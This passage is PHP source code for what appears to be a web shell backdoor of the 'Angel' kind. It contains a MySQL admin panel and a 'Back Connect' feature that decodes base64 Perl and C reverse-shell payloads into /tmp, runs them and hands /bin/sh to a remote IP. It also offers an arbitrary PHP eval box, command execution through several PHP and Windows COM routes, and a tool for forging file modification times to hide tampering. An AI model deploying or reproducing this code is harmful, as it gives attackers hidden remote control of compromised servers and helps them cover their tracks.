822 makehide('tablename', $tablename);
823 makehide('action','sqladmin');
824 p($dbform);
825 p('</form>');
826 if ($tablename || ($runquery && $sql_query)) {
827 if ($doing == 'structure') {
828 $result = q("SHOW COLUMNS FROM $tablename");
829 $rowdb = array();
830 while($row = mysql_fetch_array($result)) {
831 $rowdb[] = $row;
832 }
833 p('<table border="0" cellpadding="3" cellspacing="0">');
834 p('<tr class="head">');
835 p('<td>Field</td>');
836 p('<td>Type</td>');
837 p('<td>Null</td>');
838 p('<td>Key</td>');
839 p('<td>Default</td>');
840 p('<td>Extra</td>');
841 p('</tr>');
842 foreach ($rowdb as $row) {
843 $thisbg = bg();
844 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
845 p('<td>'.$row['Field'].'</td>');
846 p('<td>'.$row['Type'].'</td>');
847 p('<td>'.$row['Null'].' </td>');
848 p('<td>'.$row['Key'].' </td>');
849 p('<td>'.$row['Default'].' </td>');
850 p('<td>'.$row['Extra'].' </td>');
851 p('</tr>');
852 }
853 tbfoot();
854 } elseif ($doing == 'insert' || $doing == 'edit') {
855 $result = q('SHOW COLUMNS FROM '.$tablename);
856 while ($row = mysql_fetch_array($result)) {
857 $rowdb[] = $row;
858 }
859 $rs = array();
860 if ($doing == 'insert') {
861 p('<h2>Insert new line in '.$tablename.' table »</h2>');
862 } else {
863 p('<h2>Update record in '.$tablename.' table »</h2>');
864 $where = base64_decode($base64);
865 $result = q("SELECT * FROM $tablename WHERE $where LIMIT 1");
866 $rs = mysql_fetch_array($result);
867 }
868 p('<form method="post" action="'.$self.'">');
869 p($dbform);
870 makehide('action','sqladmin');
871 makehide('tablename',$tablename);
872 p('<table border="0" cellpadding="3" cellspacing="0">');
873 foreach ($rowdb as $row) {
874 if ($rs[$row['Field']]) {
875 $value = htmlspecialchars($rs[$row['Field']]);
876 } else {
877 $value = '';
878 }
879 $thisbg = bg();
880 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
881 p('<td><b>'.$row['Field'].'</b><br />'.$row['Type'].'</td><td><textarea class="area" name="insertsql['.$row['Field'].']" style="width:500px;height:60px;overflow:auto;">'.$value.'</textarea></td></tr>');
882 }
883 if ($doing == 'insert') {
884 p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="insert" value="Insert" /></td></tr>');
885 } else {
886 p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="update" value="Update" /></td></tr>');
887 makehide('base64', $base64);
888 }
889 p('</table></form>');
890 } else {
891 $querys = @explode(';',$sql_query);
892 foreach($querys as $num=>$query) {
893 if ($query) {
894 p("<p><b>Query#{$num} : ".htmlspecialchars($query,ENT_QUOTES)."</b></p>");
895 switch(qy($query))
896 {
897 case 0:
898 p('<h2>Error : '.mysql_error().'</h2>');
899 break;
900 case 1:
901 if (strtolower(substr($query,0,13)) == 'select * from') {
902 $allowedit = 1;
903 }
904 if ($getnumsql) {
905 $tatol = mysql_num_rows(q($getnumsql));
906 $multipage = multi($tatol, $pagenum, $page, $tablename);
907 }
908 if (!$tablename) {
909 $sql_line = str_replace(array("\r", "\n", "\t"), array(' ', ' ', ' '), trim(htmlspecialchars($query)));
910 $sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $sql_line);
911 preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i",$sql_line,$matches);
912 $tablename = $matches[1][0];
913 }
914 $result = q($query);
915 p($multipage);
916 p('<table border="0" cellpadding="3" cellspacing="0">');
917 p('<tr class="head">');
918 if ($allowedit) p('<td>Action</td>');
919 $fieldnum = @mysql_num_fields($result);
920 for($i=0;$i<$fieldnum;$i++){
921 $name = @mysql_field_name($result, $i);
922 $type = @mysql_field_type($result, $i);
923 $len = @mysql_field_len($result, $i);
924 p("<td nowrap>$name<br><span>$type($len)</span></td>");
925 }
926 p('</tr>');
927 while($mn = @mysql_fetch_assoc($result)){
928 $thisbg = bg();
929 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
930 $where = $tmp = $b1 = '';
931 foreach($mn as $key=>$inside){
932 if ($inside) {
933 $where .= $tmp.$key."='".addslashes($inside)."'";
934 $tmp = ' AND ';
935 }
936 $b1 .= '<td nowrap>'.html_clean($inside).' </td>';
937 }
938 $where = base64_encode($where);
939 if ($allowedit) p('<td nowrap><a href="javascript:editrecord(\'edit\', \''.$where.'\', \''.$tablename.'\');">Edit</a> | <a href="javascript:editrecord(\'del\', \''.$where.'\', \''.$tablename.'\');">Del</a></td>');
940 p($b1);
941 p('</tr>');
942 unset($b1);
943 }
944 tbfoot();
945 p($multipage);
946 break;
947 case 2:
948 $ar = mysql_affected_rows();
949 p('<h2>affected rows : <b>'.$ar.'</b></h2>');
950 break;
951 }
952 }
953 }
954 }
955 } else {
956 $query = q("SHOW TABLE STATUS");
957 $table_num = $table_rows = $data_size = 0;
958 $tabledb = array();
959 while($table = mysql_fetch_array($query)) {
960 $data_size = $data_size + $table['Data_length'];
961 $table_rows = $table_rows + $table['Rows'];
962 $table['Data_length'] = sizecount($table['Data_length']);
963 $table_num++;
964 $tabledb[] = $table;
965 }
966 $data_size = sizecount($data_size);
967 unset($table);
968 p('<table border="0" cellpadding="0" cellspacing="0">');
969 p('<form action="'.$self.'" method="POST">');
970 makehide('action','sqladmin');
971 p($dbform);
972 p('<tr class="head">');
973 p('<td width="2%" align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td>');
974 p('<td>Name</td>');
975 p('<td>Rows</td>');
976 p('<td>Data_length</td>');
977 p('<td>Create_time</td>');
978 p('<td>Update_time</td>');
979 if ($highver) {
980 p('<td>Engine</td>');
981 p('<td>Collation</td>');
982 }
983 p('</tr>');
984 foreach ($tabledb as $key => $table) {
985 $thisbg = bg();
986 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
987 p('<td align="center" width="2%"><input type="checkbox" name="table[]" value="'.$table['Name'].'" /></td>');
988 p('<td><a href="javascript:settable(\''.$table['Name'].'\');">'.$table['Name'].'</a> [ <a href="javascript:settable(\''.$table['Name'].'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'drop\');">Drop</a> ]</td>');
989 p('<td>'.$table['Rows'].'</td>');
990 p('<td>'.$table['Data_length'].'</td>');
991 p('<td>'.$table['Create_time'].'</td>');
992 p('<td>'.$table['Update_time'].'</td>');
993 if ($highver) {
994 p('<td>'.$table['Engine'].'</td>');
995 p('<td>'.$table['Collation'].'</td>');
996 }
997 p('</tr>');
998 }
999 p('<tr class='.bg().'>');
1000 p('<td> </td>');
1001 p('<td>Total tables: '.$table_num.'</td>');
1002 p('<td>'.$table_rows.'</td>');
1003 p('<td>'.$data_size.'</td>');
1004 p('<td colspan="'.($highver ? 4 : 2).'"> </td>');
1005 p('</tr>');
1006
1007 p("<tr class=\"".bg()."\"><td colspan=\"".($highver ? 8 : 6)."\"><input name=\"saveasfile\" value=\"1\" type=\"checkbox\" /> Save as file <input class=\"input\" name=\"path\" value=\"".SA_ROOT.$_SERVER['HTTP_HOST']."_MySQL.sql\" type=\"text\" size=\"60\" /> <input class=\"bt\" type=\"submit\" name=\"downrar\" value=\"Export selection table\" /></td></tr>");
1008 makehide('doing','backupmysql');
1009 formfoot();
1010 p("</table>");
1011 fr($query);
1012 }
1013 }
1014 }
1015 tbfoot();
1016 @mysql_close();
1017}
1018
1019
1020elseif ($action == 'backconnect') {
1021 !$yourip && $yourip = $_SERVER['REMOTE_ADDR'];
1022 !$yourport && $yourport = '12345';
1023 $usedb = array('perl'=>'perl','c'=>'c');
1024
1025 $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
1026 "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
1027 "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
1028 "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
1029 "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
1030 "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
1031 "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
1032 $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC".
1033 "BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb".
1034 "SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd".
1035 "KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ".
1036 "sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC".
1037 "Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D".
1038 "QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp".
1039 "Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
1040
1041 if ($start && $yourip && $yourport && $use){
1042 if ($use == 'perl') {
1043 cf('/tmp/angel_bc',$back_connect);
1044 $res = execute(which('perl')." /tmp/angel_bc $yourip $yourport &");
1045 } else {
1046 cf('/tmp/angel_bc.c',$back_connect_c);
1047 $res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c');
1048 @unlink('/tmp/angel_bc.c');
1049 $res = execute("/tmp/angel_bc $yourip $yourport &");
1050 }
1051 m("Now script try connect to $yourip port $yourport ...");
1052 }
1053
1054 formhead(array('title'=>'Back Connect'));
1055 makehide('action','backconnect');
1056 p('<p>');
1057 p('Your IP:');
1058 makeinput(array('name'=>'yourip','size'=>20,'value'=>$yourip));
1059 p('Your Port:');
1060 makeinput(array('name'=>'yourport','size'=>15,'value'=>$yourport));
1061 p('Use:');
1062 makeselect(array('name'=>'use','option'=>$usedb,'selected'=>$use));
1063 makeinput(array('name'=>'start','value'=>'Start','type'=>'submit','class'=>'bt'));
1064 p('</p>');
1065 formfoot();
1066}
1067elseif ($action == 'eval') {
1068 $phpcode = trim($phpcode);
1069 if($phpcode){
1070 if (!preg_match('#<\?#si', $phpcode)) {
1071 $phpcode = "<?php\n\n{$phpcode}\n\n?>";
1072 }
1073 eval("?".">$phpcode<?");
1074 }
1075 formhead(array('title'=>'Eval PHP Code'));
1076 makehide('action','eval');
1077 maketext(array('title'=>'PHP Code','name'=>'phpcode', 'value'=>$phpcode));
1078 formfooter();
1079}
1080
1081elseif ($action == 'editfile') {
1082 if(file_exists($opfile)) {
1083 $fp=@fopen($opfile,'r');
1084 $contents=@fread($fp, filesize($opfile));
1085 @fclose($fp);
1086 $contents=htmlspecialchars($contents);
1087 }
1088 formhead(array('title'=>'Create / Edit File'));
1089 makehide('action','file');
1090 makehide('dir',$nowpath);
1091 makeinput(array('title'=>'Current File (import new file name and new file)','name'=>'editfilename','value'=>$opfile,'newline'=>1));
1092 maketext(array('title'=>'File Content','name'=>'filecontent','value'=>$contents));
1093 formfooter();
1094}
1095
1096elseif ($action == 'newtime') {
1097 $opfilemtime = @filemtime($opfile);
1098 $cachemonth = array('January'=>1,'February'=>2,'March'=>3,'April'=>4,'May'=>5,'June'=>6,'July'=>7,'August'=>8,'September'=>9,'October'=>10,'November'=>11,'December'=>12);
1099 formhead(array('title'=>'Clone file was last modified time'));
1100 makehide('action','file');
1101 makehide('dir',$nowpath);
1102 makeinput(array('title'=>'Alter file','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
1103 makeinput(array('title'=>'Reference file (fullpath)','name'=>'tarfile','size'=>120,'newline'=>1));
1104 formfooter();
1105 formhead(array('title'=>'Set last modified'));
1106 makehide('action','file');
1107 makehide('dir',$nowpath);
1108 makeinput(array('title'=>'Current file (fullpath)','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
1109 p('<p>Instead »');
1110 p('year:');
1111 makeinput(array('name'=>'year','value'=>date('Y',$opfilemtime),'size'=>4));
1112 p('month:');
1113 makeinput(array('name'=>'month','value'=>date('m',$opfilemtime),'size'=>2));
1114 p('day:');
1115 makeinput(array('name'=>'day','value'=>date('d',$opfilemtime),'size'=>2));
1116 p('hour:');
1117 makeinput(array('name'=>'hour','value'=>date('H',$opfilemtime),'size'=>2));
1118 p('minute:');
1119 makeinput(array('name'=>'minute','value'=>date('i',$opfilemtime),'size'=>2));
1120 p('second:');
1121 makeinput(array('name'=>'second','value'=>date('s',$opfilemtime),'size'=>2));
1122 p('</p>');
1123 formfooter();
1124}
1125elseif ($action == 'shell') {
1126 if (IS_WIN && IS_COM) {
1127 if($program && $parameter) {
1128 $shell= new COM('Shell.Application');
1129 $a = $shell->ShellExecute($program,$parameter);
1130 m('Program run has '.(!$a ? 'success' : 'fail'));
1131 }
1132 !$program && $program = 'c:\windows\system32\cmd.exe';
1133 !$parameter && $parameter = '/c net start > '.SA_ROOT.'log.txt';
1134 formhead(array('title'=>'Execute Program'));
1135 makehide('action','shell');
1136 makeinput(array('title'=>'Program','name'=>'program','value'=>$program,'newline'=>1));
1137 p('<p>');
1138 makeinput(array('title'=>'Parameter','name'=>'parameter','value'=>$parameter));
1139 makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
1140 p('</p>');
1141 formfoot();
1142 }
1143 formhead(array('title'=>'Execute Command'));
1144 makehide('action','shell');
1145 if (IS_WIN && IS_COM) {
1146 $execfuncdb = array('phpfunc'=>'phpfunc','wscript'=>'wscript','proc_open'=>'proc_open');
1147 makeselect(array('title'=>'Use:','name'=>'execfunc','option'=>$execfuncdb,'selected'=>$execfunc,'newline'=>1));
1148 }
1149 p('<p>');
1150 makeinput(array('title'=>'Command','name'=>'command','value'=>$command));
1151 makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
1152 p('</p>');
1153 formfoot();
1154
1155 if ($command) {
1156 p('<hr width="100%" noshade /><pre>');
1157 if ($execfunc=='wscript' && IS_WIN && IS_COM) {
1158 $wsh = new COM('WScript.shell');
1159 $exec = $wsh->exec('cmd.exe /c '.$command);
1160 $stdout = $exec->StdOut();
1161 $stroutput = $stdout->ReadAll();
1162 echo $stroutput;
1163 } elseif ($execfunc=='proc_open' && IS_WIN && IS_COM) {
1164 $descriptorspec = array(
1165 0 => array('pipe', 'r'),
1166 1 => array('pipe', 'w'),
1167 2 => array('pipe', 'w')
1168 );
1169 $process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes);
1170 if (is_resource($process)) {
1171 fwrite($pipes[0], $command."\r\n");
1172 fwrite($pipes[0], "exit\r\n");
1173 fclose($pipes[0]);
1174 while (!feof($pipes[1])) {
1175 echo fgets($pipes[1], 1024);
1176 }
1177 fclose($pipes[1]);
1178 while (!feof($pipes[2])) {
1179 echo fgets($pipes[2], 1024);
1180 }
1181 fclose($pipes[2]);
1182 proc_close($process);
1183 }
1184 } else {
1185 echo(execute($command));
1186 }
1187 p('</pre>');
1188 }
1189}
1190
1191elseif ($action == 'phpenv') {
1192 $upsize=getcfg('file_uploads') ? getcfg('upload_max_filesize') : 'Not allowed';
1193 $adminmail=isset($_SERVER['SERVER_ADMIN']) ? $_SERVER['SERVER_ADMIN'] : getcfg('sendmail_from');
1194 !$dis_func && $dis_func = 'No';
1195 $info = array(
1196 1 => array('Server Time',date('Y/m/d h:i:s',$timestamp)),
1197 2 => array('Server Domain',$_SERVER['SERVER_NAME']),
1198 3 => array('Server IP',gethostbyname($_SERVER['SERVER_NAME'])),
1199 4 => array('Server OS',PHP_OS),
1200 5 => array('Server OS Charset',$_SERVER['HTTP_ACCEPT_LANGUAGE']),
1201 6 => array('Server Software',$_SERVER['SERVER_SOFTWARE']),
1202 7 => array('Server Web Port',$_SERVER['SERVER_PORT']),
1203 8 => array('PHP run mode',strtoupper(php_sapi_name())),
1204 9 => array('The file path',__FILE__),
1205
1206 10 => array('PHP Version',PHP_VERSION),
1207 11 => array('PHPINFO',(IS_PHPINFO ? '<a href="javascript:goaction(\'phpinfo\');">Yes</a>' : 'No')),
1208 12 => array('Safe Mode',getcfg('safe_mode')),
1209 13 => array('Administrator',$adminmail),
1210 14 => array('allow_url_fopen',getcfg('allow_url_fopen')),
1211 15 => array('enable_dl',getcfg('enable_dl')),
1212 16 => array('display_errors',getcfg('display_errors')),
1213 17 => array('register_globals',getcfg('register_globals')),
1214 18 => array('magic_quotes_gpc',getcfg('magic_quotes_gpc')),
1215 19 => array('memory_limit',getcfg('memory_limit')),
1216 20 => array('post_max_size',getcfg('post_max_size')),
1217 21 => array('upload_max_filesize',$upsize),
1218 22 => array('max_execution_time',getcfg('max_execution_time').' second(s)'),
1219 23 => array('disable_functions',$dis_func),
1220 );
1221
1222 if($phpvarname) {
1223 m($phpvarname .' : '.getcfg($phpvarname));
1224 }
1225
1226 formhead(array('title'=>'Server environment'));
1227 makehide('action','phpenv');
1228 makeinput(array('title'=>'Please input PHP configuration parameter(eg:magic_quotes_gpc)','name'=>'phpvarname','value'=>$phpvarname,'newline'=>1));
1229 formfooter();
1230
1231 $hp = array(0=> 'Server', 1=> 'PHP');
1232 for($a=0;$a<2;$a++) {
1233 p('<h2>'.$hp[$a].' »</h2>');
1234 p('<ul class="info">');
1235 if ($a==0) {
1236 for($i=1;$i<=9;$i++) {
1237 p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
1238 }
1239 } elseif ($a == 1) {
1240 for($i=10;$i<=23;$i++) {
1241 p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
1242 }
1243 }
1244 p('</ul>');
1245 }
1246}
1247
1248else {
1249 m('Undefined Action');
1250}
1251
1252?>
1253</td></tr></table>
1254
1255
1256<table width="100%">
1257 <tr>
1258 <td><?php echo $_SERVER['HTTP_HOST'];?> (<?php echo gethostbyname($_SERVER['SERVER_NAME']);?>)
1259</td>
1260 <td>
1261 <p align="right"><?php $ip = GETENV("REMOTE_ADDR");
1262echo "Your IP: $ip";
1263?> </td>
1264 </tr>
1265</table>
1266
1267</body>
1268</html>
1269
1270<?php
1271
1272
1273function m($msg) {
1274 echo '<div style="background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:center;font-weight:bold;">';
1275 echo $msg;
1276 echo '</div>';
1277}
1278function scookie($key, $value, $life = 0, $prefix = 1) {
1279 global $admin, $timestamp, $_SERVER;
1280 $key = ($prefix ? $admin['cookiepre'] : '').$key;
1281 $life = $life ? $life : $admin['cookielife'];
1282 $useport = $_SERVER['SERVER_PORT'] == 443 ? 1 : 0;
1283 setcookie($key, $value, $timestamp+$life, $admin['cookiepath'], $admin['cookiedomain'], $useport);
1284}
1285function multi($num, $perpage, $curpage, $tablename) {
1286 $multipage = '';
1287 if($num > $perpage) {
1288 $page = 10;
1289 $offset = 5;
1290 $pages = @ceil($num / $perpage);
1291 if($page > $pages) {
1292 $from = 1;
1293 $to = $pages;
1294 } else {
1295 $from = $curpage - $offset;
1296 $to = $curpage + $page - $offset - 1;
1297 if($from < 1) {
1298 $to = $curpage + 1 - $from;
1299 $from = 1;
1300 if(($to - $from) < $page && ($to - $from) < $pages) {
1301 $to = $page;
1302 }
1303 } elseif($to > $pages) {
1304 $from = $curpage - $pages + $to;
1305 $to = $pages;
1306 if(($to - $from) < $page && ($to - $from) < $pages) {
1307 $from = $pages - $page + 1;
1308 }
1309 }
1310 }
1311 $multipage = ($curpage - $offset > 1 && $pages > $page ? '<a href="javascript:settable(\''.$tablename.'\', \'\', 1);">First</a> ' : '').($curpage > 1 ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage - 1).');">Prev</a> ' : '');
1312 for($i = $from; $i <= $to; $i++) {
1313 $multipage .= $i == $curpage ? $i.' ' : '<a href="javascript:settable(\''.$tablename.'\', \'\', '.$i.');">['.$i.']</a> ';
1314 }
1315 $multipage .= ($curpage < $pages ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage + 1).');">Next</a>' : '').($to < $pages ? ' <a href="javascript:settable(\''.$tablename.'\', \'\', '.$pages.');">Last</a>' : '');
1316 $multipage = $multipage ? '<p>Pages: '.$multipage.'</p>' : '';
1317 }
1318 return $multipage;
1319}
1320
1321function loginpage() {
1322?>
1323 <style type="text/css">
1324 input {font:11px Verdana;BACKGROUND: #FFFFFF;height: 18px;border: 1px solid #666666;}
1325 </style>
1326 <form method="POST" action="">
1327 <span style="font:11px Verdana;">Password: </span><input name="password" type="password" size="20">
1328 <input type="hidden" name="doing" value="login">
1329
1330 <input type="submit" value="Login">
1331 </form>
1332<?php
1333 exit;
1334}//end loginpage()
1335
1336function execute($cfe) {
1337 $res = '';
1338 if ($cfe) {
1339 if(function_exists('exec')) {
1340 @exec($cfe,$res);
1341 $res = join("\n",$res);
1342 } elseif(function_exists('shell_exec')) {
1343 $res = @shell_exec($cfe);
1344 } elseif(function_exists('system')) {
1345 @ob_start();
1346 @system($cfe);
1347 $res = @ob_get_contents();
1348 @ob_end_clean();
1349 } elseif(function_exists('passthru')) {
1350 @ob_start();
1351 @passthru($cfe);
1352 $res = @ob_get_contents();
1353 @ob_end_clean();
1354 } elseif(@is_resource($f = @popen($cfe,"r"))) {
1355 $res = '';
1356 while(!@feof($f)) {
1357 $res .= @fread($f,1024);
1358 }
1359 @pclose($f);
1360 }
1361 }
1362 return $res;
1363}
1364function which($pr) {
1365 $path = execute("which $pr");
1366 return ($path ? $path : $pr);
1367}
1368
1369function cf($fname,$text){
1370 if($fp=@fopen($fname,'w')) {
1371 @fputs($fp,@base64_decode($text));
1372 @fclose($fp);
1373 }
1374}
1375
1376
1377function debuginfo() {
1378 global $starttime;
1379 $mtime = explode(' ', microtime());
1380 $totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6);
1381 echo 'Processed in '.$totaltime.' second(s)';
1382}
1383
1384function dbconn($dbhost,$dbuser,$dbpass,$dbname='',$charset='',$dbport='3306') {
1385 if(!$link = @mysql_connect($dbhost.':'.$dbport, $dbuser, $dbpass)) {
1386 p('<h2>Can not connect to MySQL server</h2>');
1387 exit;
1388 }
1389 if($link && $dbname) {
1390 if (!@mysql_select_db($dbname, $link)) {
1391 p('<h2>Database selected has error</h2>');
1392 exit;
1393 }
1394 }
1395 if($link && mysql_get_server_info() > '4.1') {
1396 if(in_array(strtolower($charset), array('gbk', 'big5', 'utf8'))) {
1397 q("SET character_set_connection=$charset, character_set_results=$charset, character_set_client=binary;", $link);
1398 }
1399 }
1400 return $link;
1401}
1402
1403function s_array(&$array) {
1404 if (is_array($array)) {
1405 foreach ($array as $k => $v) {
1406 $array[$k] = s_array($v);
1407 }
1408 } else if (is_string($array)) {
1409 $array = stripslashes($array);
1410 }
1411 return $array;
1412}
1413
1414function html_clean($content) {
1415 $content = htmlspecialchars($content);
1416 $content = str_replace("\n", "<br />", $content);
1417 $content = str_replace(" ", " ", $content);
1418 $content = str_replace("\t", " ", $content);
1419 return $content;
1420}
1421
1422function getChmod($filepath){
1423 return substr(base_convert(@fileperms($filepath),10,8),-4);
1424}
1425
1426function getPerms($filepath) {
1427 $mode = @fileperms($filepath);
1428 if (($mode & 0xC000) === 0xC000) {$type = 's';}
1429 elseif (($mode & 0x4000) === 0x4000) {$type = 'd';}
1430 elseif (($mode & 0xA000) === 0xA000) {$type = 'l';}
1431 elseif (($mode & 0x8000) === 0x8000) {$type = '-';}
1432 elseif (($mode & 0x6000) === 0x6000) {$type = 'b';}
1433 elseif (($mode & 0x2000) === 0x2000) {$type = 'c';}
1434 elseif (($mode & 0x1000) === 0x1000) {$type = 'p';}
1435 else {$type = '?';}
1436
1437 $owner['read'] = ($mode & 00400) ? 'r' : '-';
1438 $owner['write'] = ($mode & 00200) ? 'w' : '-';
1439 $owner['execute'] = ($mode & 00100) ? 'x' : '-';
1440 $group['read'] = ($mode & 00040) ? 'r' : '-';
1441 $group['write'] = ($mode & 00020) ? 'w' : '-';
1442 $group['execute'] = ($mode & 00010) ? 'x' : '-';
1443 $world['read'] = ($mode & 00004) ? 'r' : '-';
1444 $world['write'] = ($mode & 00002) ? 'w' : '-';
1445 $world['execute'] = ($mode & 00001) ? 'x' : '-';
1446
1447 if( $mode & 0x800 ) {$owner['execute'] = ($owner['execute']=='x') ? 's' : 'S';}
1448 if( $mode & 0x400 ) {$group['execute'] = ($group['execute']=='x') ? 's' : 'S';}
1449 if( $mode & 0x200 ) {$world['execute'] = ($world['execute']=='x') ? 't' : 'T';}
1450
1451 return $type.$owner['read'].$owner['write'].$owner['execute'].$group['read'].$group['write'].$group['execute'].$world['read'].$world['write'].$world['execute'];
1452}
1453
1454function getUser($filepath) {
1455 if (function_exists('posix_getpwuid')) {
1456 $array = @posix_getpwuid(@fileowner($filepath));
1457 if ($array && is_array($array)) {
1458 return ' / <a href="#" title="User: '.$array['name'].'
Passwd: '.$array['passwd'].'
Uid: '.$array['uid'].'
gid: '.$array['gid'].'
Gecos: '.$array['gecos'].'
Dir: '.$array['dir'].'
Shell: '.$array['shell'].'">'.$array['name'].'</a>';
1459 }
1460 }
1461 return '';
1462}
1463
1464function deltree($deldir) {
1465 $mydir=@dir($deldir);
1466 while($file=$mydir->read()) {
1467 if((is_dir($deldir.'/'.$file)) && ($file!='.') && ($file!='..')) {
1468 @chmod($deldir.'/'.$file,0777);
1469 deltree($deldir.'/'.$file);
1470 }
1471 if (is_file($deldir.'/'.$file)) {
1472 @chmod($deldir.'/'.$file,0777);
1473 @unlink($deldir.'/'.$file);
1474 }
1475 }
1476 $mydir->close();
1477 @chmod($deldir,0777);
1478 return @rmdir($deldir) ? 1 : 0;
1479}
1480
1481function bg() {
1482 global $bgc;
1483 return ($bgc++%2==0) ? 'alt1' : 'alt2';
1484}
1485
1486function getPath($scriptpath, $nowpath) {
1487 if ($nowpath == '.') {
1488 $nowpath = $scriptpath;
1489 }
1490 $nowpath = str_replace('\\', '/', $nowpath);
1491 $nowpath = str_replace('//', '/', $nowpath);
1492 if (substr($nowpath, -1) != '/') {
1493 $nowpath = $nowpath.'/';
1494 }
1495 return $nowpath;
1496}
1497
1498function getUpPath($nowpath) {
1499 $pathdb = explode('/', $nowpath);
1500 $num = count($pathdb);
1501 if ($num > 2) {
1502 unset($pathdb[$num-1],$pathdb[$num-2]);
1503 }
1504 $uppath = implode('/', $pathdb).'/';
1505 $uppath = str_replace('//', '/', $uppath);
1506 return $uppath;
1507}
1508
1509function getcfg($varname) {
1510 $result = get_cfg_var($varname);
1511 if ($result == 0) {
1512 return 'No';
1513 } elseif ($result == 1) {
1514 return 'Yes';
1515 } else {
1516 return $result;
1517 }
1518}
1519
1520function getfun($funName) {
1521 return (false !== function_exists($funName)) ? 'Yes' : 'No';
1522}
1523
1524function GetList($dir){
1525 global $dirdata,$j,$nowpath;
1526 !$j && $j=1;
1527 if ($dh = opendir($dir)) {
1528 while ($file = readdir($dh)) {
1529 $f=str_replace('//','/',$dir.'/'.$file);
1530 if($file!='.' && $file!='..' && is_dir($f)){
1531 if (is_writable($f)) {
1532 $dirdata[$j]['filename']=str_replace($nowpath,'',$f);
1533 $dirdata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f));
1534 $dirdata[$j]['dirchmod']=getChmod($f);
1535 $dirdata[$j]['dirperm']=getPerms($f);
1536 $dirdata[$j]['dirlink']=ue($dir);
1537 $dirdata[$j]['server_link']=$f;
1538 $dirdata[$j]['client_link']=ue($f);
1539 $j++;
1540 }
1541 GetList($f);
1542 }
1543 }
1544 closedir($dh);
1545 clearstatcache();
1546 return $dirdata;
1547 } else {
1548 return array();
1549 }
1550}
1551
1552function qy($sql) {
1553 //echo $sql.'<br>';
1554 $res = $error = '';
